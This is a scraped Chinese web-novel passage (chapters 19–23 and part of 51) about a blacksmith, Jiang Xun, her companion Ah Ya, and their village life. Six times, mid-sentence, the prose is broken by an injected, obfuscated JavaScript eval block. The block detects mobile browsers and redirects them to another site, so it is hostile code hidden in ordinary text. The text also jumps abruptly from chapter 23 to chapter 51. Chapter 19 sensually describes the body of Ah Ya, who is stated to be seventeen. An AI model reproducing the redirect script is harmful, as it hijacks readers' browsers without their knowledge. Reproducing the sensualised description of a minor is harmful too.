穿衣从帘子后走出。 她四下望了望,看见房屋门是关上的,便拖着瘸腿走去。 离得近了,它听见两只小鸡在不断叨门的声音,显然是被关在里面了。 江浔也在里面? 阿雅有些弄不明白现在的状况,边去推门,边出声道:“江姐姐怎么了?可是有哪里不舒服?” 待阿雅走进,视线扫过木床,随后才看见墙角的江浔时,江浔早已飞速站直身体,装作一副什么都没发生的模样。 拍拍衣角。 “没事,没有不舒服。是这两只小鸡太吵,太不听话,我才带它们关着的。” 小鸡壹号:“叽?” 小鸡贰号:叽叽? 抬头挺胸,正准备出去的小鸡顿住。 小小的它们,背不了那么大的锅! “真的没事吗?”屋子内有些昏暗,但借着冷白的月光,阿雅还是能看出江浔脸色有些红。她担忧地走上前,牵住江浔的手,另一只手想要去触碰江浔的脸颊,“怎么手这么冷,脸这么烫?” 手和脸同时被碰到,江浔吓了一大跳,两手赶忙把阿雅两只手拢在一起,不让她乱碰。 她们两人之前有这么亲密吗? 为缓解尴尬,江浔语速极快道:“真的没事,可能是天气原因吧?感觉今天晚上有些闷热,哈哈,我要赶紧去沐浴,凉快凉快了。” “你快些上床休息吧。” 说着,手臂极其自然抱在阿雅腰上,想要把人抱去床上。 可还没用力,她整个人都就愣住了。 江浔:………… 天杀的不对劲儿! 她们之间居然真的有这么亲密! 她的手怎么就伸到阿雅腰上去了? 她一直都是对阿雅这么搂搂抱抱的!? 一向认为自己稳重自持的江浔,脸上出现天塌了的表情。 但她自洽能力很强,很快就说服自己,女生之间搂搂抱抱是小事。 有时还会亲亲蹭蹭呢! 自洽完成,江浔猛地用力抱着阿雅走向木床。 阿雅也乖乖巧巧揽住她的脖子,“那你快去快回,别用太凉的水,当心伤风了。” 把阿雅放在床上后,江浔连点好几下头,“好,你别等我,快睡。” 说完忙不迭离开这间屋子,跑到院中。 不行,多和阿雅待会儿,她又觉得好热。 从烧水的锅中舀出水装满木桶,提着木桶到帘子后方,准备沐浴。 一瓢已经凉透的水从脸上浇下,瞬间让江浔脸上的燥热退去大半。 接着又是几瓢冷水往身上浇,不一会儿就让她火热的内心冷静下来,觉得好像一切都很正常,没有什么不对。 沐浴完,江浔心如止水地拿着烛火走进屋子中。 阿雅正坐在床内侧等她。 身上脱来只剩一件里衣挂在身上,松松垮垮,没系腰后的绳子。 “江姐姐你来了?” 阿雅对江浔是不设防的。 或者也可以说,她根本就不想防江浔。 她手臂向后,捏住里衣腰上的两根绳子,面露苦恼。 “你给我的小衣有些小了,绳子系不上了。” 说着,她还侧身让江浔看。 江浔给阿雅的衣服是原主十四五岁穿过的衣服,确实小孩衣服,她那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805910|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时以为阿雅最多不过十五。 哪想阿雅已经十七了。 营养跟上后,阿雅就开始如小苗般生长。 长到现在,已经穿不下十四五岁孩童穿的衣服了。 江浔:。 白到晃眼的肌肤裸露在外面,娇柔软绵的地方只被遮挡住一半。 随着晃动,仿佛随时都有可能暴露出来。 阿雅手上用力,把绳子拉紧,给江浔演示自己是如何系的。 布料确实有些显少,只能堪堪包裹住那一片乍泄的春意。绳子也有些短,勉强系上后,布料紧贴在阿雅身上,勾勒出曼妙隆起的弧度。 青衣粉肤,像朵娉婷在山水间的秀丽小荷。 烛火跳动,光影摇曳。 江浔只感觉自己灵魂都被如此模样的阿雅灼烧到,她略微狼狈地移开眼。 语气有些控制不住,带着不知道是凶厉还是责怪,道:“先把衣服穿好!” “……怎、怎么了?” 语气太重,把阿雅吓得身子一颤,不知自己做错了什么。 她呆坐在床上,急着为自己辩驳,“可、可我们之前也是这么穿的啊……” 说到这里,阿雅突然发现,以往只会穿里衣睡觉的江浔,今夜居然又穿上了一件中衣。 疑惑又委屈的眼神扫过那件素白中衣,幽怨的和江浔对视上。 让江浔兀的发觉自己语气太重了些,都把小姑娘给吓到了。 无法做到心如止水的是她,而她又怎么能把如此情绪发泄到阿雅身上? 她深吸一口气,又缓缓呼出,在内心告诫自己多见识见识就习惯了。 不用觉得羞耻! “是我语气太重了,我向你赔不是。” “小衣我会给你买新的,你不必担心。” “睡觉吧,今日早些休息。” 说完,江浔就想上床睡觉。 而阿雅还有些回不过神,默默往里面让位置的同时,拉起被子的一角。 挡在自己身上。 水汪汪的大眼睛看向江浔,有些可怜,仿佛在求安慰。 见状,江浔身形顿住,嘴巴张了张。 最终还是开口道:“小衣你不用穿好也行。” 不对,这话怪怪的。 她重新开口,“不,小衣得穿好。” 还是有点不对,有歧义。 “我的意思是,不用太在意我说的那句话,是我不好,不应该凶你。” “衣服你怎么穿着舒适,就怎么穿,不要在意我的想法。” 说完,江浔舒出一口气,总算是说清楚了。 她在照顾她的感受吗? 阿雅眼睛慢慢瞪大,有些动容。 重重点头道:“嗯!” 20. 第 20 章 烛火被吹灭,两人板板正正躺在床上,中间隔着一条楚汉河界,泾渭分明。 以前可不是这样的。 阿雅侧身,眼神幽怨地盯着闭眼熟睡的人,身子慢慢移动,朝人贴去。 她动作不敢太大,怕江浔发现,只能一点点、一点点屏气凝神地靠近。 江浔本就没有睡着,能清晰听见自己耳边传来窸窸窣窣的声音。 她本不想管,但当小姑娘柔软的身子贴在她手臂上时,她气息都屏住,身体朝外挪动一寸。 躲开小姑娘的动作。 被躲开,阿雅身子略微僵硬一瞬,随后又开始朝着江浔靠。 她就是想要缩到江浔怀里,明明那么久来都是这样睡的,怎今夜就不可以了? 今夜的江浔真的很奇怪,好像一下子同她疏远很多。 两人在床上,一个不断朝另一个靠,另一个就不断的往外躲。 直到半截儿身体都挂在床外面,再动一下就会掉下去时,江浔终于不躲了。 无奈地抱住阿雅,带着阿雅又往里面挪动,两人一起睡在床中央。 小姑娘的身体柔若无骨,江浔抱在怀中都不敢怎么用力,只能任由阿雅蹭来蹭去,最终找到一个舒适的位置停下。 而江浔,看似是闭着眼,像根木头一样躺的笔直。 事实上,她也真想自己像根木头一样,就躺在那里,无知无觉。 而不是感受着小姑娘潮湿灼丨热的气息洒在她颈间,香软身子毫无芥蒂地紧贴着她。 受如此折磨。 抱了没一会儿,阿雅的呼吸就逐渐平稳下来,想来是睡着了。 但就苦了江浔,又睡不着又不敢把手臂抽回。 只能苦苦熬着,熬到实在支撑不住睡了过去,才算好。 接下来几日,江浔每每想要拉开两人的距离,都会被阿雅直接贴上,抱着不肯撒手。 要是她态度过于强硬,还会惹的阿雅眼圈泛红,一副心碎的模样。 一来一回间,她守不住底线一退再退,最终只能不断在心中告诉自己,只要多适应适应,多见识见识,就好了。 但不知是天气越来越热的缘故,还是她心不静的缘故。 两人抱在一起睡,她总是会热的满头大汗,只有熬不住睡过去后,才能感觉到一丝清凉。 所以几日过去,她心中生出点想要分房睡得念头。 左右西边杂物房里放的钢,她大半都做成了菜刀,不会占太多地方。 只要再把杂物收拾出来丢弃,就可以在里面放上一个小床拿给阿雅睡。 不过她还没敢把这个想法告知阿雅,怕又看见阿雅心碎的模样。 只能在心中想想。 - 柿红色斜阳渐渐朝着地面靠近,树影斑驳,江浔忙完一日的活计,在院中用清水洗了把脸,拾掇拾掇自己。 便拿着一把包好的菜刀,和阿雅做的土豆肉饼,准备去找谭婆婆。 上次谭婆婆来时就说想要一把又轻又好用的菜刀,这次正好可以让她试一试。 谭木匠家离她家不算远,但不可避免的需要经过宋月柔的铺子。 宋月柔依旧笑意盈盈的同她打招呼,好似两人关系很好,惹的那些食客都在问,是不是宋月柔不计前嫌了。 江浔没理那些看热闹的人,大步走到谭木匠铺子中。 谭木匠正在做活儿,看见她招呼道:“小江铁匠,是要买东西还是做东西?” “我找谭婆婆,谭婆婆在家吗?我有些事要同谭婆婆说。”说着,把手中拿的油纸包好的土豆肉饼递过去,“这是我自家做的土豆肉饼,味道一绝。” 大家都在同个镇子上生活,一年到头挣的都是辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805911|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,去串门手上能有遮手的东西就很不错了。 不会在意东西价值高低。 谭木匠还以为她说的自家做的是她自己做的,便笑呵呵道:“好好好,那我可要尝尝你的手艺,看是不是一绝!” 他接过江浔递来的东西,然后领着人往院子里走,领到谭婆婆面前,又把土豆肉饼都递给了谭婆婆。 “娘,小江铁匠来看你了,这是她带的东西。” “你们聊着,我手上活儿还没做完,要去赶工。” 说着,还舀了两碗才晾凉的水,撒上一小撮白糖,递给两人。 白糖可不便宜,家里来客人给端上两碗糖水,已经不算敷衍了。 谭婆婆正坐在院中择菜,江浔就坐在她旁边,边帮着择菜边寒暄几句。 才道明来意。 “谭婆婆您上次不是说想要轻便一点的刀吗?我琢磨大半个月,可算是做出来了。” “您帮我试试?” 说着拿出布包着的刀,刀背向着对方递过去。 这刀和她之前做的刀没什么两样,都是通体漆黑,闪着寒芒,一看就很利。 最多只有刀锋处有细微不同,打磨得更加精细。 “这刀看起来没啥区别,你莫要诓骗老婆子哦。” 话是这么说,但谭婆婆动作没有停顿地接过菜刀,就着自己儿子做的木桌子,就往正在择的大白菜上切去。 咔嚓——!!! 菜刀丝滑切过大白菜砍在木桌子上! 大白菜完好无损,没有一丝被切过的痕迹,谭婆婆眼中出现迷茫。 还未等她想明白是怎么回事,只听又是“咔嚓”一声! 木桌子竟是比白菜更先裂开,裂成两半往下倒! 要不是江浔眼疾手快,扶住桌子,恐怕还要砸到人嘞! 谭婆婆:??? 21. 第 21 章 谭婆婆着实被这刀的锋利程度吓到,谨慎把刀递回后,才拍着胸口放松下来。 “不得了不得了,江铁匠你这个手艺不得了,把老婆子都吓一跳。” 江浔谦虚客气道:“毕竟是家传的手艺,我可不能忘本。” 听到她这么说,谭婆婆也算理解了,“你们家世世代代都是打铁匠,这手艺可真是不一般。你有出息,你娘你爹会高兴的。” 江浔笑了一下,又道:“那这把菜刀谭婆婆用着可还顺手?用来切瓜剁骨都不费力气的。” “顺手是顺手,怕是不便宜吧?” 谭婆婆也不是那种天天想着有人能白白送她东西的人,自然也不会觉得江浔会白送她。 但对方却道:“便不便宜还不是看对谁……” 这下,江浔才终于说出自己的真实目的。 她在整条街乃至于整个镇子中,人缘都不算好,就算是想搞活动卖自己的刀,也不见得大家会买账。 还不如找个在镇子上人缘好的人,先帮她把刀的名声放出去,让大家知晓有这么好的刀,却四处都买不着。 到时候再卖,说不定效果会好些。 而谭婆婆,就是她找的人。 据说,谭婆婆可是掌握大半个镇子中老年关系网的神人。 没有哪家老婆婆是她说不上话的。 几句话之间,谭婆婆听明白江浔的意思了。 就是让她多说说这刀的好话,而这刀…… 江浔把刀放下,挽住谭婆婆的手臂,笑着道:“这刀自然是送与您的,以后您就是我的亲婆婆了!我得了什么好,都会想着您!婆婆好!” 谭婆婆:…… 婆、婆婆? 使不得,这可使不得! 她家里唯二两个男丁,儿子谭木匠大的都可以当江浔叔了。孙子谭阿牛则才年满十五,和江浔年岁差得有点大。 但要勉强的话,也不是不行。 江浔不会正是看准这点,才来她家和她说这些的吧! 谭婆婆只觉一阵头晕眼花,身体摇摇晃晃,坐在凳子上都差点要摔倒。 她语气急促道:“有话好好说有话好好说,刀的事我可以帮你,但你还是别叫我婆婆了。” “这……?” 江浔有些摸不着头脑,难道是不成? 见她犹豫,怕她还是放不下自己孙子,有些昏了头的谭婆婆忙道:“我们当个忘年交,你叫我阿姐我加你阿妹就好!叫婆婆不就乱辈分了吗!” 婆婆这个称谓是不能再叫了,什么婆婆都叫不得! 她不是嫌弃江浔,江浔也是个很好的姑娘,能挣钱能持家。 只是她孙子年纪实在小了些,不能与之相配。 为了打消江浔这个念头,谭婆婆甚至还握住她的手,真切地叫了句,“江妹子!” 江浔:? 江浔尝试性道:“欸、谭、谭阿姐?” 莫名其妙认了个姐妹是她没想到的,不过既然谭婆婆答应要帮她,那其他的事都不重要。 把刀留下后,江浔也没多待,直接从谭家离开。 回到大街上,天已经完全暗下,各家各户早已飘出炊烟,整条街都是饭香味儿。 直接把江浔肚子里的馋虫都勾出来了。 她快步往家的方向走,心里已经在想阿雅会做什么好吃的了。 会做莼菜吗? 前些日子她吃了莼菜觉得口感还不错,昨日便又买了些。 阿雅像贴心小棉袄似的,她想吃什么一猜便知,今日晚食必定是有莼菜的。 凉拌黄瓜也定是有的。 她都看见阿雅把黄瓜拿出,放在案板上了。 越想口津就分泌得越多,等走到家门口时,她已经忍不住咂吧咂吧嘴,准备开吃了! 只是,街对面张记食摊老板看见她,扬着大勺招呼一声,“江铁匠!近日怎么不见你来吃东西?要吃点吗?” 江浔也是冲她挥挥手,大声道:“下次来照顾你生意!” 嘴上这么说,但她心中却默默跟上一句:阿雅做的可比你做的好吃多了!她才不想在外面吃! 说罢,扭头进入院中,果然闻到烟火气极重的饭菜香味。 阿雅站在锅边,正把一锅汤往外盛出。 那汤色乳白黏稠,其中还有一片片雪色的鱼肉,和翠绿如茶叶的莼菜。 是莼菜鱼羹! 江浔眼睛都亮了起来,快步上前,去接过阿雅手中的东西。 不怕烫的直接端起锅,把锅中的莼菜鱼羹往盆里倒。 怪不得今日总是见阿雅在盯水盆里游得欢快的鱼,原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805912|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想用来做菜了! 莼菜鱼羹是把鱼肉片下,加上少许盐、蛋清搅匀备用,把鱼头鱼骨切成片放上盐和油,下锅煎出香味儿,再加入姜片去腥。 用不了一会儿,鱼头鱼骨就会被煎的两面金黄,这时一瓢热水倒下,鱼汤瞬间就能变成奶白色,诱人无比! 捞出鱼头鱼骨,再往汤里放入调味料、鱼肉、莼菜。 鱼肉和莼菜熟得很快,几乎只用烫一下就可以吃了。 在关火前,加入小碗调好的水淀粉,汤立马变得浓稠,鲜香味儿也会随之扑鼻而来。 莼菜口感润滑清雅,鱼肉又嫩又软,入口即化,整道菜像是喝粥般能丝滑入肚,却又比粥更加爽口开胃。 是不多见的美味。 把莼菜鱼羹和凉拌黄瓜放上桌,江浔身形又折返回去,端起一盆凉面抱起阿雅,来到矮桌前。 便可以开吃了。 三道菜中,有两道菜都是寻常到不能再寻常的菜,但阿雅手艺好,再普通不过的菜色也能被她做的有滋有味,色香味俱全。 不一会儿,两人间就飘荡出“嚼嚼嚼”的声音。 吃到尽兴时,江浔还会抬头各种夸奖阿雅手艺好,做的东西太好吃了,让她忍不住吃很多。 听到她的夸奖,阿雅心情也跟着飞跃起来,不自觉得多吃了许多。 后果就是两人都吃撑了。 齐齐瘫在院中消食。 晚食后的时光是很爽的,没有白日里得劳累与燥热,只剩夜风轻轻吹得恬静与闲适。 还有两只黄色绒毛褪去,开始长出褐黄色羽毛的小鸡可以逗。 一切都是最美好的样子。 可偏偏在这种时候,江浔冲动开口道:“阿雅,我们分房睡吧。” “两人挤着太热,还是分开比较好。” 阿雅懵了。 本来看着两只小鸡叨来叨去,觉得很有意思,脸上露出笑容的阿雅,懵了。 那个瞬间,阿雅只觉得自己灵魂抽离,耳朵嗡鸣。她甚至开始觉得眼前这一切都是幻象,世上根本没有江浔这个人,一切不过是她在暗无天日的日子里幻想出来的罢了。 她感觉到自己嘴唇在动,却不知道自己问了什么。 只能看见江浔的嘴唇也动了起来,说的依旧是,“我们分房睡吧。” 22. 第 22 章 分房睡的话说出口,江浔就后悔了。 许是吃饱喝足,脑袋就发了昏嘴巴就没了把门的,直接把这段日子一直在想的事情脱口而出了。 看着阿雅受伤的神情和有些颤动的眼眸,江浔咬咬牙,没有收回自己说出的话。 这件事她在心中思索许久,说出来了,也算是了去她一件心事。 不敢再看阿雅逐渐泛红的眼眶、逐渐咬住的下唇,江浔低下头,沉默地坐在板凳上。 原本跑来跑去,玩得欢快的两只小鸡,似乎都察觉出两人之间的氛围不对劲,逐渐停下。 开始不安地歪头看她们的神情。 还会用喙叼她们的裤脚,想吸引她们的注意。 可两个女主人,一个郁闷一个委屈,都没人愿意理它们。 但小鸡们还是坚持不懈吸引着注意,想让两人高兴些。 搞到最后,江浔烦不甚烦,毫不客气抓起两只小鸡就把它们关在篱笆里去了。 许是动作太过凶狠,把坐在一旁本就心中委屈的阿雅给吓到,眼睛眨了几下,眼泪忍不住往外落。 她太难过了,想不明白为什么江浔会嫌弃她,想不明白两人感情明明那么好,对方却要和她分开。 豆大泪珠不断涌出,落在手背上,溅起微不足道的水花。或落在衣衫上,浸润出一片湿痕,更加无声。 阿雅努力压抑自己的哭声,不想惹得江浔厌烦。 她从没想过自己的情绪波动会有那么大,竟然会忍不住当场哭出来。 从被对方买回来那天起,她就太过于依赖对方了,这样不好。 都让对方厌恶自己了。 听着阿雅小声啜泣,站在篱笆处的江浔身体僵住,有些不敢动弹。 真的会有这么伤心吗? 只是分房睡,又不是自己不养她了,两人还是生活在一起,每日还是会见面的啊。 况且,阿雅终归会长大,有自己的想法和小秘密。 恐怕那时,阿雅还会嫌弃她嘞。 但转念又想到,阿雅内心应该是极没有安全感的,分开对于阿雅来说恐怕意味着再一次抛弃。 所以才会那么伤心、那么难过。 想到这些,江浔也陷入了纠结,不自觉蹲在篱笆旁,望着地面发呆。 她很想让自己不要考虑那么多,让自己快刀斩乱麻。 但不行。 面对阿雅,她总忍不住想很多,总忍不住想让阿雅高兴些,无忧无虑些。 哎。 她重重叹口气,在心中感叹养小孩居然是这种感觉吗? 万幸阿雅很听话,不然她可能会被小孩烦死。 夜色渐深,远方时不时传来虫鸣。 听见阿雅哭泣的声音逐渐变小,江浔才站起身,腿都蹲的有些僵硬了,再蹲下去说不定得麻。 嗓子有些发滞道:“睡觉吧。” 说完这句,等了会儿,没等到阿雅的回应,她也沉默下来。 两人又僵持了一会儿,江浔才弯腰去把阿雅抱起,往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805913|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里走。 阿雅心中委屈,也有些害怕自己会再惹江浔厌烦,所以什么动作也不敢有,不敢像之前那样环住江浔的脖子。 到床上后,两人没有相拥而眠,而是一人躺一边,姿势僵硬,别别扭扭没靠近。 阿雅倒是想,但想到几日前江浔也在躲她的亲密,心中就愈发难受。 才明白过来对方是真的不喜欢这样。 但阿雅的不亲近,反而让江浔心里也生出些微妙的不舒服。 一方面觉得两人之间拉开距离对谁都好,一方面又觉得也不用立马就一刀两断吧? 毕竟都生活在同一个屋檐下,她还是希望两人的关系是和和美美的。 就这样,两人似乎开始僵持冷战起来。 白日,江浔在铺子中不断打铁,还时不时到街上去做些什么。 傍晚,则收拾西边杂物房里的东西,想要尽快把屋子腾出来。 忙忙碌碌的,连和阿雅说话的时间都没有。 阿雅也很沉默,做完自己该做的事后,就开始坐在椅子上发呆,往往过不了多久,泪水就会顺着白净的脸颊流下。 再没有从前那般笑意盈盈。 原本永远充满交谈、充满笑容的小院,突然冷清下来,没有一点幸福的氛围。 这样的日子持续了好几日,直到江浔终于把西屋收拾出来,又把那张本就放在西屋中的破破烂烂的床打扫干净,找出垫絮、枕头、被子…… 这就意味着等床铺好,两人要分开了。 23. 第 23 章 今日一早起来,江浔就觉得天气不对,往日早该大亮的天光,此时被一朵黑云压得死死的,看不见一点太阳。 空气又湿又闷,恐怕是要下雨的征兆。 阿雅同她几乎是一起醒的,醒后两人没有任何交流,默默洗漱完,一个喂鸡一个做早食。 吃完早食,江浔没有着急打铁,而是来到街上去找谭婆婆。 这几日谭婆婆出门买菜之时,都会在菜市或肉市说自家刀怎么怎么好,怎么怎么锋利,切骨头那都不用用力,在刀上轻轻一挨,就切开了。 还说最近谭木匠砍木头都不用斧子了,专用那把菜刀,两人还在家里抢菜刀用嘞! 她话说的这么满,惹的听到的人纷纷起哄说不信,非要让她把刀拿出来,让大家见识见识不可! 这可真是正中江浔和谭婆婆的下怀,两人还正愁怎么不经意间让大家看到那把刀的厉害! 江浔来到肉市,正好看见一个肉摊前里三层外三层围满了人。 她站在肉摊对面的铺子门前,远远眺望人群中的情况。 只见谭婆婆从手臂间挎着的菜篮里拿出一把刀,解开刀上缠绕的布条,并且说道:“小心啊!别靠老婆子太近,当心撞刀上了!” 谭婆婆的好姐妹们也是在的,当即双臂伸开,压着人群往后退。 口中道:“什么刀有这么厉害!你别不是吹牛的!” 谭婆婆:“你们且看好!” 她把刀递到肉摊老板手中,要肉摊老板用这把刀分猪肉,宰猪骨。 肉摊老板接过刀拿在手中颠了颠,然后声如洪钟道:“要是刀坏了,可别怪猪骨头太硬!” 说罢,手臂高高扬起,朝案板上放着的半扇猪肉劈砍下去! “嘶!!!” 碎骨连带着肉沫朝人群溅去,把那些不愿意后退,还探头探脑往前挤的人吓一跳,齐齐朝后躲开。 有些没躲掉的,碎骨砸脸上,跟“啪”的挨了一耳刮子似的! 惹人哄笑! 肉摊老板一刀宰下去,刀锋丝滑分开肉和骨头,砸在案板上。 要不是她用的案板厚,恐怕案板都得劈烂。 没开始前她还说刀会坏,没想到开始后恐怕是她的案板先坏。 这刀的好用程度是显而易见的,肉摊老板心中开始佩服起制刀人,能做出这么好用的刀可得花不少功夫。 她心态转变,不再是挑刺,一定要找到这把刀不好用的地方。 而是用心的用各种手法,为大家展示这把刀的好用之处。 切、片、剁、划……等等一系列操作,这把菜刀都丝滑完成,甚至比肉摊老板自己用惯的菜刀还要顺手。 且不费力。 她近日总觉得猪杀多了,手有点酸痛无力,但这把刀用下来,她手根本就没怎么用力,更谈不上什么酸痛。 要是有这么一把刀在身上,她还愁手废了杀不了猪吗? 思索间,肉摊老板都有点不想把刀还给谭婆婆了! 围观的百姓们不懂什么切肉快不快,他们只看懂了那刀能轻松宰断猪肋骨! 嚯! 这可不得了,这以后自己在家宰点什么东西,那不是轻轻松松? 如此想着,大家竟都有些意动,自发朝谭婆婆围去,想要询问她刀是从哪里买的。 但谭婆婆没有透露太多,只车轱辘话来回说,“是我那好姐妹想着我身体不便,才专门花费大半月给我做的。” “什么?你想要?这可是刀中精品,做一把可消耗人了。” “你要是实在想要,我就与我那姐妹说说,兴许她能再做。” 这一来二去,很多人都表示自己想要,让谭婆婆快些与那姐妹商议。 江浔在一旁看着有这么多人对她的刀感兴趣,连日来皱起的眉头略有松动,眉心中的郁气也消散几分。 可偏偏天不作美,正在大家都特别激动之时,乌云密布的天终于咔嚓一声劈出一道雷,随之而来的便是让众人来不及反应的暴雨。 大家在暴雨中淋了好几息,才手忙脚乱的四处躲雨。 人群走的走跑的跑,只剩下谭婆婆和她的姐妹们。 谭婆婆腿脚不利索,她的姐妹们正在商量怎么把她送回去。 可她们也都是些老婆婆,能顾好自己就不容易,哪有精力再顾另一个人? 江浔站在屋檐下,本是淋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805914|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到雨的,但她不可能独自离开,留谭婆婆在雨幕中不管。 她顶着瓢泼大雨,跑到她们身边,大声道:“顾婆婆、安婆婆、李婆婆……你们快些回去吧,我来把谭婆婆送回去!你们别担心了!” 说完,她又对谭婆婆道:“我背您!” 她力气大,背个人不在话下。 旁边的肉摊老板从自己摊位下拿出一把油纸伞,递与她们。 “你们快些回去吧!再不走雨更大了!” 其他老婆婆也道:“快回去吧,我们住得近,会相互照应的。” 这雨就像谁捅破天了一样,哗哗哗往下落,密集到让人睁不开眼睛。石子大小的雨滴砸的人生疼,声音也很嘈杂,让人听不清互相之间的话。 江浔接过肉摊老板递来的伞,大声道谢后,不管谭婆婆愿不愿意,直接强行背起人,撑着伞跑远。 她步伐麻利又稳健,不一会儿就跑到谭木匠的铺子了。 铺子中,谭木匠也正打算拿着伞去寻谭婆婆,见江浔把人送回来,边连连道谢边去扶自己的娘。 江浔没有在木匠铺子里待太久,她有些担忧家中的阿雅。 突如其来的暴雨恐怕会把阿雅才晾晒的萝卜片打湿,她怕阿雅为了收萝卜片而淋雨。 她若能早些回去,兴许能让阿雅少淋点雨。 如此想着,江浔冲进雨里,连伞都忘记带一把。 好在她还有开盲盒开出的疾风步,使用时间是五分钟,绰绰有余。 踏着疾风步,在无人的白茫茫的大雨中闪过一道虚影,瞬息之间就跑到自己的打铁铺子前。 令她意外的是,阿雅正拿着一把伞,在滂沱大雨中艰难前行。 阿雅没有撑伞,而是把伞夹在腋下,双手掐在自己右腿大腿上,脸色苍白、面上露出隐忍之色,拖着瘸腿走着。 右腿从脚踝处折断,整只脚侧着踩在地上,一瘸一拐着。 雨把她整个人浇湿,衣服胡乱贴在身上,头发也黏在脸上,整个人狼狈的可以。 当阿雅踩过一个水洼时,因无法保持平衡,身体连摇晃都来不及,直直就往地上倒去! 江浔焦急出声,“阿雅!” 50-60 第51章 解决 江浔买的螃蟹是有数量的, 每人能分到一个。 这次正好陈大夫和小药童没来,江志修才有一个,剩下一个江浔想拿给阿雅吃。 哪想这人居然敢抢? 筷子重重打下后,江志修立马发出一声惨叫, 眼泪控制不住从眼眶中飙出, 伸出去的手快速缩回, 用另一只手捂住。 “啊啊啊啊啊啊!我的手断了!我的手断了!你对我做了什么!啊啊啊啊啊我可是你堂兄!” “该死!该死!白眼狼!嘶啊,当初我家就不该借银子给你父母!你父母死了正好!真晦气!” 江志修疼得口不择言,什么话都往外说,直接让在场好些人变了脸色。 谭木匠和李屠妇反应快点,大步上前一人反剪住江志修一只胳膊,就把他按在地上。 任凭他怎么叫都没放手。 “说清楚?我们家什么时候借了你银子?” 江浔来到江志修面前, 脸上表情有些不爽。 本来想好好过完今日, 哪想还是出事了,也不知这人在乱说些什么。 两家都几年没见了, 上哪里去欠的银子? 被压在地上的江志修浑身哪哪儿都痛, 口中不断哀嚎着, 一句完整的话都说不出来。 还是江浔又说了一句,“不说断你胳膊!” 才让江志修开口。 “你拆开我给你的信封看!那里面就是欠条!” “你父母受伤许久未愈, 朝我们家借了五十两白银!那可是都有字据的!” “我们家想着你孤苦伶仃, 又才失了父母, 就没催促你还钱。哪想你这么有钱啊?!娶漂亮媳妇儿,吃得好喝得好,就是不愿意还钱是吧!” “五十两白银?你真是说得出口。”江浔边拆着信封, 边道:“我记得你家并不算富裕, 五十两是说拿得出来就拿得出来的?” 拆开信封后,上面果然写着某年某月某日谁谁谁向谁谁谁借了多少钱。 上面还签名画押了。 看起来就像是真的借据一般。 但江浔一看就知道是假的。 她把这张借据扔在江志修脸上, 厉声道:“怎么?是镇里城里没有和我父亲名字相同的人了吗?这根本就不是我父亲的字迹,怎就能确认是我父亲欠你们钱?” “这按的指印也不是我父亲的!” “我父亲同我一样是打铁匠,手指早就不知被磨得多厚,起了多少层茧子了。按出来的指印绝不会是这样的!” 江浔才打了多久的铁啊,那手指都被磨的有些粗糙,指纹不明显了,再加上每个指节处还有茧。 按出来的手指绝对会是模糊不清,能一样让人发现不同的。 她父亲比她多打几十年的铁,手指肯定早就被磋磨得不成样子。 哪像这张借据上的指纹,那么清晰,连指尖有几个漩都数得清! 江浔把自己手指怼到江志修脸面前让他看,他看后又拿给在场所有人看,每个人都点点头,表示确实如她所说一般。 指尖已经被磨厚,指纹绝不可能那么清晰。 